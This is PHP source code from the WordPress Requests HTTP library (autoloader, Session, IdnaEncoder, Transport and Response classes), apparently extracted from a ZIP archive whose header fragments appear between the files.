'requests_exception_http_unknown' => '\WpOrg\Requests\Exception\Http\StatusUnknown',
];
/**
* Register the autoloader.
*
* Note: the autoloader is *prepended* in the autoload queue.
* This is done to ensure that the Requests 2.0 autoloader takes precedence
* over a potentially (dependency-registered) Requests 1.x autoloader.
*
* @internal This method contains a safeguard against the autoloader being
* registered multiple times. This safeguard uses a global constant to
* (hopefully/in most cases) still function correctly, even if the
* class would be renamed.
*
* @return void
*/
public static function register() {
if (defined('REQUESTS_AUTOLOAD_REGISTERED') === false) {
spl_autoload_register([self::class, 'load'], true);
define('REQUESTS_AUTOLOAD_REGISTERED', true);
}
}
/**
* Autoloader.
*
* @param string $class_name Name of the class name to load.
*
* @return bool Whether a class was loaded or not.
*/
public static function load($class_name) {
// Check that the class starts with "Requests" (PSR-0) or "WpOrg\Requests" (PSR-4).
$psr_4_prefix_pos = strpos($class_name, 'WpOrg\\Requests\\');
if (stripos($class_name, 'Requests') !== 0 && $psr_4_prefix_pos !== 0) {
return false;
}
$class_lower = strtolower($class_name);
if ($class_lower === 'requests') {
// Reference to the original PSR-0 Requests class.
$file = dirname(__DIR__) . '/library/Requests.php';
} elseif ($psr_4_prefix_pos === 0) {
// PSR-4 classname.
$file = __DIR__ . '/' . strtr(substr($class_name, 15), '\\', '/') . '.php';
}
if (isset($file) && file_exists($file)) {
include $file;
return true;
}
/*
* Okay, so the class starts with "Requests", but we couldn't find the file.
* If this is one of the deprecated/renamed PSR-0 classes being requested,
* let's alias it to the new name and throw a deprecation notice.
*/
if (isset(self::$deprecated_classes[$class_lower])) {
/*
* Integrators who cannot yet upgrade to the PSR-4 class names can silence deprecations
* by defining a `REQUESTS_SILENCE_PSR0_DEPRECATIONS` constant and setting it to `true`.
* The constant needs to be defined before the first deprecated class is requested
* via this autoloader.
*/
if (!defined('REQUESTS_SILENCE_PSR0_DEPRECATIONS') || REQUESTS_SILENCE_PSR0_DEPRECATIONS !== true) {
// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_trigger_error
trigger_error(
'The PSR-0 `Requests_...` class names in the Requests library are deprecated.'
. ' Switch to the PSR-4 `WpOrg\Requests\...` class names at your earliest convenience.',
E_USER_DEPRECATED
);
// Prevent the deprecation notice from being thrown twice.
if (!defined('REQUESTS_SILENCE_PSR0_DEPRECATIONS')) {
define('REQUESTS_SILENCE_PSR0_DEPRECATIONS', true);
}
}
// Create an alias and let the autoloader recursively kick in to load the PSR-4 class.
return class_alias(self::$deprecated_classes[$class_lower], $class_name, true);
}
return false;
}
}
}
PK ]/yQ# # src/Session.phpnu W+A <?php
/**
* Session handler for persistent requests and default parameters
*
* @package Requests\SessionHandler
*/
namespace WpOrg\Requests;
use WpOrg\Requests\Cookie\Jar;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Iri;
use WpOrg\Requests\Requests;
use WpOrg\Requests\Utility\InputValidator;
/**
* Session handler for persistent requests and default parameters
*
* Allows various options to be set as default values, and merges both the
* options and URL properties together. A base URL can be set for all requests,
* with all subrequests resolved from this. Base options can be set (including
* a shared cookie jar), then overridden for individual requests.
*
* @package Requests\SessionHandler
*/
class Session {
/**
* Base URL for requests
*
* URLs will be made absolute using this as the base
*
* @var string|null
*/
public $url = null;
/**
* Base headers for requests
*
* @var array
*/
public $headers = [];
/**
* Base data for requests
*
* If both the base data and the per-request data are arrays, the data will
* be merged before sending the request.
*
* @var array
*/
public $data = [];
/**
* Base options for requests
*
* The base options are merged with the per-request data for each request.
* The only default option is a shared cookie jar between requests.
*
* Values here can also be set directly via properties on the Session
* object, e.g. `$session->useragent = 'X';`
*
* @var array
*/
public $options = [];
/**
* Create a new session
*
* @param string|Stringable|null $url Base URL for requests
* @param array $headers Default headers for requests
* @param array $data Default data for requests
* @param array $options Default options for requests
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string, Stringable or null.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data argument is not an array.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
*/
public function __construct($url = null, $headers = [], $data = [], $options = []) {
if ($url !== null && InputValidator::is_string_or_stringable($url) === false) {
throw InvalidArgument::create(1, '$url', 'string|Stringable|null', gettype($url));
}
if (is_array($headers) === false) {
throw InvalidArgument::create(2, '$headers', 'array', gettype($headers));
}
if (is_array($data) === false) {
throw InvalidArgument::create(3, '$data', 'array', gettype($data));
}
if (is_array($options) === false) {
throw InvalidArgument::create(4, '$options', 'array', gettype($options));
}
$this->url = $url;
$this->headers = $headers;
$this->data = $data;
$this->options = $options;
if (empty($this->options['cookies'])) {
$this->options['cookies'] = new Jar();
}
}
/**
* Get a property's value
*
* @param string $name Property name.
* @return mixed|null Property value, null if none found
*/
public function __get($name) {
if (isset($this->options[$name])) {
return $this->options[$name];
}
return null;
}
/**
* Set a property's value
*
* @param string $name Property name.
* @param mixed $value Property value
*/
public function __set($name, $value) {
$this->options[$name] = $value;
}
/**
* Remove a property's value
*
* @param string $name Property name.
*/
public function __isset($name) {
return isset($this->options[$name]);
}
/**
* Remove a property's value
*
* @param string $name Property name.
*/
public function __unset($name) {
unset($this->options[$name]);
}
/**#@+
* @see \WpOrg\Requests\Session::request()
* @param string $url
* @param array $headers
* @param array $options
* @return \WpOrg\Requests\Response
*/
/**
* Send a GET request
*/
public function get($url, $headers = [], $options = []) {
return $this->request($url, $headers, null, Requests::GET, $options);
}
/**
* Send a HEAD request
*/
public function head($url, $headers = [], $options = []) {
return $this->request($url, $headers, null, Requests::HEAD, $options);
}
/**
* Send a DELETE request
*/
public function delete($url, $headers = [], $options = []) {
return $this->request($url, $headers, null, Requests::DELETE, $options);
}
/**#@-*/
/**#@+
* @see \WpOrg\Requests\Session::request()
* @param string $url
* @param array $headers
* @param array $data
* @param array $options
* @return \WpOrg\Requests\Response
*/
/**
* Send a POST request
*/
public function post($url, $headers = [], $data = [], $options = []) {
return $this->request($url, $headers, $data, Requests::POST, $options);
}
/**
* Send a PUT request
*/
public function put($url, $headers = [], $data = [], $options = []) {
return $this->request($url, $headers, $data, Requests::PUT, $options);
}
/**
* Send a PATCH request
*
* Note: Unlike {@see \WpOrg\Requests\Session::post()} and {@see \WpOrg\Requests\Session::put()},
* `$headers` is required, as the specification recommends that should send an ETag
*
* @link https://tools.ietf.org/html/rfc5789
*/
public function patch($url, $headers, $data = [], $options = []) {
return $this->request($url, $headers, $data, Requests::PATCH, $options);
}
/**#@-*/
/**
* Main interface for HTTP requests
*
* This method initiates a request and sends it via a transport before
* parsing.
*
* @see \WpOrg\Requests\Requests::request()
*
* @param string $url URL to request
* @param array $headers Extra headers to send with the request
* @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
* @param string $type HTTP request type (use \WpOrg\Requests\Requests constants)
* @param array $options Options for the request (see {@see \WpOrg\Requests\Requests::request()})
* @return \WpOrg\Requests\Response
*
* @throws \WpOrg\Requests\Exception On invalid URLs (`nonhttp`)
*/
public function request($url, $headers = [], $data = [], $type = Requests::GET, $options = []) {
$request = $this->merge_request(compact('url', 'headers', 'data', 'options'));
return Requests::request($request['url'], $request['headers'], $request['data'], $type, $request['options']);
}
/**
* Send multiple HTTP requests simultaneously
*
* @see \WpOrg\Requests\Requests::request_multiple()
*
* @param array $requests Requests data (see {@see \WpOrg\Requests\Requests::request_multiple()})
* @param array $options Global and default options (see {@see \WpOrg\Requests\Requests::request()})
* @return array Responses (either \WpOrg\Requests\Response or a \WpOrg\Requests\Exception object)
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
*/
public function request_multiple($requests, $options = []) {
if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
}
if (is_array($options) === false) {
throw InvalidArgument::create(2, '$options', 'array', gettype($options));
}
foreach ($requests as $key => $request) {
$requests[$key] = $this->merge_request($request, false);
}
$options = array_merge($this->options, $options);
// Disallow forcing the type, as that's a per request setting
unset($options['type']);
return Requests::request_multiple($requests, $options);
}
public function __wakeup() {
throw new \LogicException( __CLASS__ . ' should never be unserialized' );
}
/**
* Merge a request's data with the default data
*
* @param array $request Request data (same form as {@see \WpOrg\Requests\Session::request_multiple()})
* @param boolean $merge_options Should we merge options as well?
* @return array Request data
*/
protected function merge_request($request, $merge_options = true) {
if ($this->url !== null) {
$request['url'] = Iri::absolutize($this->url, $request['url']);
$request['url'] = $request['url']->uri;
}
if (empty($request['headers'])) {
$request['headers'] = [];
}
$request['headers'] = array_merge($this->headers, $request['headers']);
if (empty($request['data'])) {
if (is_array($this->data)) {
$request['data'] = $this->data;
}
} elseif (is_array($request['data']) && is_array($this->data)) {
$request['data'] = array_merge($this->data, $request['data']);
}
if ($merge_options === true) {
$request['options'] = array_merge($this->options, $request['options']);
// Disallow forcing the type, as that's a per request setting
unset($request['options']['type']);
}
return $request;
}
}
PK ]M0 0 src/IdnaEncoder.phpnu W+A <?php
namespace WpOrg\Requests;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\InputValidator;
/**
* IDNA URL encoder
*
* Note: Not fully compliant, as nameprep does nothing yet.
*
* @package Requests\Utilities
*
* @link https://tools.ietf.org/html/rfc3490 IDNA specification
* @link https://tools.ietf.org/html/rfc3492 Punycode/Bootstrap specification
*/
class IdnaEncoder {
/**
* ACE prefix used for IDNA
*
* @link https://tools.ietf.org/html/rfc3490#section-5
* @var string
*/
const ACE_PREFIX = 'xn--';
/**
* Maximum length of a IDNA URL in ASCII.
*
* @see \WpOrg\Requests\IdnaEncoder::to_ascii()
*
* @since 2.0.0
*
* @var int
*/
const MAX_LENGTH = 64;
/**#@+
* Bootstrap constant for Punycode
*
* @link https://tools.ietf.org/html/rfc3492#section-5
* @var int
*/
const BOOTSTRAP_BASE = 36;
const BOOTSTRAP_TMIN = 1;
const BOOTSTRAP_TMAX = 26;
const BOOTSTRAP_SKEW = 38;
const BOOTSTRAP_DAMP = 700;
const BOOTSTRAP_INITIAL_BIAS = 72;
const BOOTSTRAP_INITIAL_N = 128;
/**#@-*/
/**
* Encode a hostname using Punycode
*
* @param string|Stringable $hostname Hostname
* @return string Punycode-encoded hostname
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or a stringable object.
*/
public static function encode($hostname) {
if (InputValidator::is_string_or_stringable($hostname) === false) {
throw InvalidArgument::create(1, '$hostname', 'string|Stringable', gettype($hostname));
}
$parts = explode('.', $hostname);
foreach ($parts as &$part) {
$part = self::to_ascii($part);
}
return implode('.', $parts);
}
/**
* Convert a UTF-8 text string to an ASCII string using Punycode
*
* @param string $text ASCII or UTF-8 string (max length 64 characters)
* @return string ASCII string
*
* @throws \WpOrg\Requests\Exception Provided string longer than 64 ASCII characters (`idna.provided_too_long`)
* @throws \WpOrg\Requests\Exception Prepared string longer than 64 ASCII characters (`idna.prepared_too_long`)
* @throws \WpOrg\Requests\Exception Provided string already begins with xn-- (`idna.provided_is_prefixed`)
* @throws \WpOrg\Requests\Exception Encoded string longer than 64 ASCII characters (`idna.encoded_too_long`)
*/
public static function to_ascii($text) {
// Step 1: Check if the text is already ASCII
if (self::is_ascii($text)) {
// Skip to step 7
if (strlen($text) < self::MAX_LENGTH) {
return $text;
}
throw new Exception('Provided string is too long', 'idna.provided_too_long', $text);
}
// Step 2: nameprep
$text = self::nameprep($text);
// Step 3: UseSTD3ASCIIRules is false, continue
// Step 4: Check if it's ASCII now
if (self::is_ascii($text)) {
// Skip to step 7
/*
* As the `nameprep()` method returns the original string, this code will never be reached until
* that method is properly implemented.
*/
// @codeCoverageIgnoreStart
if (strlen($text) < self::MAX_LENGTH) {
return $text;
}
throw new Exception('Prepared string is too long', 'idna.prepared_too_long', $text);
// @codeCoverageIgnoreEnd
}
// Step 5: Check ACE prefix
if (strpos($text, self::ACE_PREFIX) === 0) {
throw new Exception('Provided string begins with ACE prefix', 'idna.provided_is_prefixed', $text);
}
// Step 6: Encode with Punycode
$text = self::punycode_encode($text);
// Step 7: Prepend ACE prefix
$text = self::ACE_PREFIX . $text;
// Step 8: Check size
if (strlen($text) < self::MAX_LENGTH) {
return $text;
}
throw new Exception('Encoded string is too long', 'idna.encoded_too_long', $text);
}
/**
* Check whether a given text string contains only ASCII characters
*
* @internal (Testing found regex was the fastest implementation)
*
* @param string $text Text to examine.
* @return bool Is the text string ASCII-only?
*/
protected static function is_ascii($text) {
return (preg_match('/(?:[^\x00-\x7F])/', $text) !== 1);
}
/**
* Prepare a text string for use as an IDNA name
*
* @todo Implement this based on RFC 3491 and the newer 5891
* @param string $text Text to prepare.
* @return string Prepared string
*/
protected static function nameprep($text) {
return $text;
}
/**
* Convert a UTF-8 string to a UCS-4 codepoint array
*
* Based on \WpOrg\Requests\Iri::replace_invalid_with_pct_encoding()
*
* @param string $input Text to convert.
* @return array Unicode code points
*
* @throws \WpOrg\Requests\Exception Invalid UTF-8 codepoint (`idna.invalidcodepoint`)
*/
protected static function utf8_to_codepoints($input) {
$codepoints = [];
// Get number of bytes
$strlen = strlen($input);
// phpcs:ignore Generic.CodeAnalysis.JumbledIncrementer -- This is a deliberate choice.
for ($position = 0; $position < $strlen; $position++) {
$value = ord($input[$position]);
if ((~$value & 0x80) === 0x80) { // One byte sequence:
$character = $value;
$length = 1;
$remaining = 0;
} elseif (($value & 0xE0) === 0xC0) { // Two byte sequence:
$character = ($value & 0x1F) << 6;
$length = 2;
$remaining = 1;
} elseif (($value & 0xF0) === 0xE0) { // Three byte sequence:
$character = ($value & 0x0F) << 12;
$length = 3;
$remaining = 2;
} elseif (($value & 0xF8) === 0xF0) { // Four byte sequence:
$character = ($value & 0x07) << 18;
$length = 4;
$remaining = 3;
} else { // Invalid byte:
throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $value);
}
if ($remaining > 0) {
if ($position + $length > $strlen) {
throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
}
for ($position++; $remaining > 0; $position++) {
$value = ord($input[$position]);
// If it is invalid, count the sequence as invalid and reprocess the current byte:
if (($value & 0xC0) !== 0x80) {
throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
}
--$remaining;
$character |= ($value & 0x3F) << ($remaining * 6);
}
$position--;
}
if (// Non-shortest form sequences are invalid
$length > 1 && $character <= 0x7F
|| $length > 2 && $character <= 0x7FF
|| $length > 3 && $character <= 0xFFFF
// Outside of range of ucschar codepoints
// Noncharacters
|| ($character & 0xFFFE) === 0xFFFE
|| $character >= 0xFDD0 && $character <= 0xFDEF
|| (
// Everything else not in ucschar
$character > 0xD7FF && $character < 0xF900
|| $character < 0x20
|| $character > 0x7E && $character < 0xA0
|| $character > 0xEFFFD
)
) {
throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
}
$codepoints[] = $character;
}
return $codepoints;
}
/**
* RFC3492-compliant encoder
*
* @internal Pseudo-code from Section 6.3 is commented with "#" next to relevant code
*
* @param string $input UTF-8 encoded string to encode
* @return string Punycode-encoded string
*
* @throws \WpOrg\Requests\Exception On character outside of the domain (never happens with Punycode) (`idna.character_outside_domain`)
*/
public static function punycode_encode($input) {
$output = '';
// let n = initial_n
$n = self::BOOTSTRAP_INITIAL_N;
// let delta = 0
$delta = 0;
// let bias = initial_bias
$bias = self::BOOTSTRAP_INITIAL_BIAS;
// let h = b = the number of basic code points in the input
$h = 0;
$b = 0; // see loop
// copy them to the output in order
$codepoints = self::utf8_to_codepoints($input);
$extended = [];
foreach ($codepoints as $char) {
if ($char < 128) {
// Character is valid ASCII
// TODO: this should also check if it's valid for a URL
$output .= chr($char);
$h++;
// Check if the character is non-ASCII, but below initial n
// This never occurs for Punycode, so ignore in coverage
// @codeCoverageIgnoreStart
} elseif ($char < $n) {
throw new Exception('Invalid character', 'idna.character_outside_domain', $char);
// @codeCoverageIgnoreEnd
} else {
$extended[$char] = true;
}
}
$extended = array_keys($extended);
sort($extended);
$b = $h;
// [copy them] followed by a delimiter if b > 0
if (strlen($output) > 0) {
$output .= '-';
}
// {if the input contains a non-basic code point < n then fail}
// while h < length(input) do begin
$codepointcount = count($codepoints);
while ($h < $codepointcount) {
// let m = the minimum code point >= n in the input
$m = array_shift($extended);
//printf('next code point to insert is %s' . PHP_EOL, dechex($m));
// let delta = delta + (m - n) * (h + 1), fail on overflow
$delta += ($m - $n) * ($h + 1);
// let n = m
$n = $m;
// for each code point c in the input (in order) do begin
for ($num = 0; $num < $codepointcount; $num++) {
$c = $codepoints[$num];
// if c < n then increment delta, fail on overflow
if ($c < $n) {
$delta++;
} elseif ($c === $n) { // if c == n then begin
// let q = delta
$q = $delta;
// for k = base to infinity in steps of base do begin
for ($k = self::BOOTSTRAP_BASE; ; $k += self::BOOTSTRAP_BASE) {
// let t = tmin if k <= bias {+ tmin}, or
// tmax if k >= bias + tmax, or k - bias otherwise
if ($k <= ($bias + self::BOOTSTRAP_TMIN)) {
$t = self::BOOTSTRAP_TMIN;
} elseif ($k >= ($bias + self::BOOTSTRAP_TMAX)) {
$t = self::BOOTSTRAP_TMAX;
} else {
$t = $k - $bias;
}
// if q < t then break
if ($q < $t) {
break;
}
// output the code point for digit t + ((q - t) mod (base - t))
$digit = (int) ($t + (($q - $t) % (self::BOOTSTRAP_BASE - $t)));
$output .= self::digit_to_char($digit);
// let q = (q - t) div (base - t)
$q = (int) floor(($q - $t) / (self::BOOTSTRAP_BASE - $t));
} // end
// output the code point for digit q
$output .= self::digit_to_char($q);
// let bias = adapt(delta, h + 1, test h equals b?)
$bias = self::adapt($delta, $h + 1, $h === $b);
// let delta = 0
$delta = 0;
// increment h
$h++;
} // end
} // end
// increment delta and n
$delta++;
$n++;
} // end
return $output;
}
/**
* Convert a digit to its respective character
*
* @link https://tools.ietf.org/html/rfc3492#section-5
*
* @param int $digit Digit in the range 0-35
* @return string Single character corresponding to digit
*
* @throws \WpOrg\Requests\Exception On invalid digit (`idna.invalid_digit`)
*/
protected static function digit_to_char($digit) {
// @codeCoverageIgnoreStart
// As far as I know, this never happens, but still good to be sure.
if ($digit < 0 || $digit > 35) {
throw new Exception(sprintf('Invalid digit %d', $digit), 'idna.invalid_digit', $digit);
}
// @codeCoverageIgnoreEnd
$digits = 'abcdefghijklmnopqrstuvwxyz0123456789';
return substr($digits, $digit, 1);
}
/**
* Adapt the bias
*
* @link https://tools.ietf.org/html/rfc3492#section-6.1
* @param int $delta
* @param int $numpoints
* @param bool $firsttime
* @return int|float New bias
*
* function adapt(delta,numpoints,firsttime):
*/
protected static function adapt($delta, $numpoints, $firsttime) {
// if firsttime then let delta = delta div damp
if ($firsttime) {
$delta = floor($delta / self::BOOTSTRAP_DAMP);
} else {
// else let delta = delta div 2
$delta = floor($delta / 2);
}
// let delta = delta + (delta div numpoints)
$delta += floor($delta / $numpoints);
// let k = 0
$k = 0;
// while delta > ((base - tmin) * tmax) div 2 do begin
$max = floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN) * self::BOOTSTRAP_TMAX) / 2);
while ($delta > $max) {
// let delta = delta div (base - tmin)
$delta = floor($delta / (self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN));
// let k = k + base
$k += self::BOOTSTRAP_BASE;
} // end
// return k + (((base - tmin + 1) * delta) div (delta + skew))
return $k + floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN + 1) * $delta) / ($delta + self::BOOTSTRAP_SKEW));
}
}
PK ],S src/Transport.phpnu W+A <?php
/**
* Base HTTP transport
*
* @package Requests\Transport
*/
namespace WpOrg\Requests;
/**
* Base HTTP transport
*
* @package Requests\Transport
*/
interface Transport {
/**
* Perform a request
*
* @param string $url URL to request
* @param array $headers Associative array of request headers
* @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
* @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
* @return string Raw HTTP result
*/
public function request($url, $headers = [], $data = [], $options = []);
/**
* Send multiple requests simultaneously
*
* @param array $requests Request data (array of 'url', 'headers', 'data', 'options') as per {@see \WpOrg\Requests\Transport::request()}
* @param array $options Global options, see {@see \WpOrg\Requests\Requests::response()} for documentation
* @return array Array of \WpOrg\Requests\Response objects (may contain \WpOrg\Requests\Exception or string responses as well)
*/
public function request_multiple($requests, $options);
/**
* Self-test whether the transport can be used.
*
* The available capabilities to test for can be found in {@see \WpOrg\Requests\Capability}.
*
* @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
* @return bool Whether the transport can be used.
*/
public static function test($capabilities = []);
}
PK ]ח src/Response.phpnu W+A <?php
/**
* HTTP response class
*
* Contains a response from \WpOrg\Requests\Requests::request()
*
* @package Requests
*/
namespace WpOrg\Requests;
use WpOrg\Requests\Cookie\Jar;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Response\Headers;
/**
* HTTP response class
*
* Contains a response from \WpOrg\Requests\Requests::request()
*
* @package Requests
*/
class Response {
/**
* Response body
*
* @var string
*/
public $body = '';
/**
* Raw HTTP data from the transport
*
* @var string
*/
public $raw = '';
/**
* Headers, as an associative array
*
* @var \WpOrg\Requests\Response\Headers Array-like object representing headers
*/
public $headers = [];
/**
* Status code, false if non-blocking
*
* @var integer|boolean
*/
public $status_code = false;
/**
* Protocol version, false if non-blocking
*
* @var float|boolean
*/
public $protocol_version = false;
/**
* Whether the request succeeded or not
*
* @var boolean
*/
public $success = false;
/**
* Number of redirects the request used
*
* @var integer
*/
public $redirects = 0;
/**
* URL requested
*
* @var string
*/
public $url = '';
/**
* Previous requests (from redirects)
*
* @var array Array of \WpOrg\Requests\Response objects
*/
public $history = [];
/**
* Cookies from the request
*
* @var \WpOrg\Requests\Cookie\Jar Array-like object representing a cookie jar
*/
public $cookies = [];
/**
* Constructor
*/
public function __construct() {
$this->headers = new Headers();
$this->cookies = new Jar();
}
/**
* Is the response a redirect?
*
* @return boolean True if redirect (3xx status), false if not.
*/
public function is_redirect() {
$code = $this->status_code;
return in_array($code, [300, 301, 302, 303, 307], true) || $code > 307 && $code < 400;
}
/**
* Throws an exception if the request was not successful
*
* @param boolean $allow_redirects Set to false to throw on a 3xx as well
*
* @throws \WpOrg\Requests\Exception If `$allow_redirects` is false, and code is 3xx (`response.no_redirects`)
* @throws \WpOrg\Requests\Exception\Http On non-successful status code. Exception class corresponds to "Status" + code (e.g. {@see \WpOrg\Requests\Exception\Http\Status404})
*/
public function throw_for_status($allow_redirects = true) {
if ($this->is_redirect()) {
if ($allow_redirects !== true) {
throw new Exception('Redirection not allowed', 'response.no_redirects', $this);
}
} elseif (!$this->success) {
$exception = Http::get_class($this->status_code);
throw new $exception(null, $this);
}
}
/**
* JSON decode the response body.
*
* The method parameters are the same as those for the PHP native `json_decode()` function.
*
* @link https://php.net/json-decode
*
* @param bool|null $associative Optional. When `true`, JSON objects will be returned as associative arrays;
* When `false`, JSON objects will be returned as objects.
* When `null`, JSON objects will be returned as associative arrays
* or objects depending on whether `JSON_OBJECT_AS_ARRAY` is set in the flags.
* Defaults to `true` (in contrast to the PHP native default of `null`).
* @param int $depth Optional. Maximum nesting depth of the structure being decoded.
* Defaults to `512`.
* @param int $options Optional. Bitmask of JSON_BIGINT_AS_STRING, JSON_INVALID_UTF8_IGNORE,
* JSON_INVALID_UTF8_SUBSTITUTE, JSON_OBJECT_AS_ARRAY, JSON_THROW_ON_ERROR.
* Defaults to `0` (no options set).
*
* @return array
*
* @throws \WpOrg\Requests\Exception If `$this->body` is not valid json.
*/
public function decode_body($associative = true, $depth = 512, $options = 0) {
$data = json_decode($this->body, $associative, $depth, $options);
if (json_last_error() !== JSON_ERROR_NONE) {
$last_error = json_last_error_msg();
throw new Exception('Unable to parse JSON data: ' . $last_error, 'response.invalid', $this);
}
return $data;
}
}
PK ]JM<